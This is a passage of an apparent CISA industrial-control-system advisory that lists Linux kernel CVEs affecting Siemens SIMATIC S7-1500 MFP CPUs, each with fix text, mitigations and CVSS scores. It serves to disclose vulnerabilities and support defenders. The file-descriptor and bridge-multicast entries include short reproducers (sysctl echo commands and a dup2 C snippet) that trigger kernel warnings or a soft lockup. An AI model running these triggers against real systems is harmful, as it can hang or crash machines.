<p>In the Linux kernel, the following vulnerability has been resolved: crypto: qat - flush misc workqueue during device shutdown Repeated loading and unloading of a device specific QAT driver, for example qat_4xxx, in a tight loop can lead to a crash due to a use-after-free scenario. This occurs when a power management (PM) interrupt triggers just before the device-specific driver (e.g., qat_4xxx.ko) is unloaded, while the core driver (intel_qat.ko) remains loaded. Since the driver uses a shared workqueue (`qat_misc_wq`) across all devices and owned by intel_qat.ko, a deferred routine from the device-specific driver may still be pending in the queue. If this routine executes after the driver is unloaded, it can dereference freed memory, resulting in a page fault and kernel crash like the following: BUG: unable to handle page fault for address: ffa000002e50a01c #PF: supervisor read access in kernel mode RIP: 0010:pm_bh_handler+0x1d2/0x250 [intel_qat] Call Trace: pm_bh_handler+0x1d2/0x250 [intel_qat] process_one_work+0x171/0x340 worker_thread+0x277/0x3a0 kthread+0xf0/0x120 ret_from_fork+0x2d/0x50 To prevent this, flush the misc workqueue during device shutdown to ensure that all pending work items are completed before the driver is unloaded. Note: This approach may slightly increase shutdown latency if the workqueue contains jobs from other devices, but it ensures correctness and stability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39721">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39748</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Forget ranges when refining tnum after JSET Syzbot reported a kernel warning due to a range invariant violation on the following BPF program. 0: call bpf_get_netns_cookie 1: if r0 == 0 goto 2: if r0 &amp; Oxffffffff goto The issue is on the path where we fall through both jumps. That path is unreachable at runtime: after insn 1, we know r0 != 0, but with the sign extension on the jset, we would only fallthrough insn 2 if r0 == 0. Unfortunately, is_branch_taken() isn't currently able to figure this out, so the verifier walks all branches. The verifier then refines the register bounds using the second condition and we end up with inconsistent bounds on this unreachable path: 1: if r0 == 0 goto r0: u64=[0x1, 0xffffffffffffffff] var_off=(0, 0xffffffffffffffff) 2: if r0 &amp; 0xffffffff goto r0 before reg_bounds_sync: u64=[0x1, 0xffffffffffffffff] var_off=(0, 0) r0 after reg_bounds_sync: u64=[0x1, 0] var_off=(0, 0) Improving the range refinement for JSET to cover all cases is tricky. We also don't expect many users to rely on JSET given LLVM doesn't generate those instructions. So instead of improving the range refinement for JSETs, Eduard suggested we forget the ranges whenever we're narrowing tnums after a JSET. This patch implements that approach.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39748">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/478.html">CWE-478 Missing Default Case in Multiple Condition Expression</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39756</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: &gt; 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 &gt; /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &amp;rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (&gt;8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical &gt;8GB memory allocation request.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39756">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39764</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: remove refcounting in expectation dumpers Same pattern as previous patch: do not keep the expectation object alive via refcount, only store a cookie value and then use that as the skip hint for dump resumption. AFAICS this has the same issue as the one resolved in the conntrack dumper, when we do if (!refcount_inc_not_zero(&amp;exp-&gt;use)) to increment the refcount, there is a chance that exp == last, which causes a double-increment of the refcount and subsequent memory leak.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39764">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39770</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 ("net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets"): "The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices." kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39770">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/573.html">CWE-573 Improper Following of Specification by Caller</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39773</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 &gt; /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff &gt; /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a ("net: bridge: mcast: add and enforce query interval minimum"), add check for the query interval maximum to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39773">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/667.html">CWE-667 Improper Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39782</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39782">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39795</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t-&gt;chunk_sectors value is a multiple of the t-&gt;physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39795">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
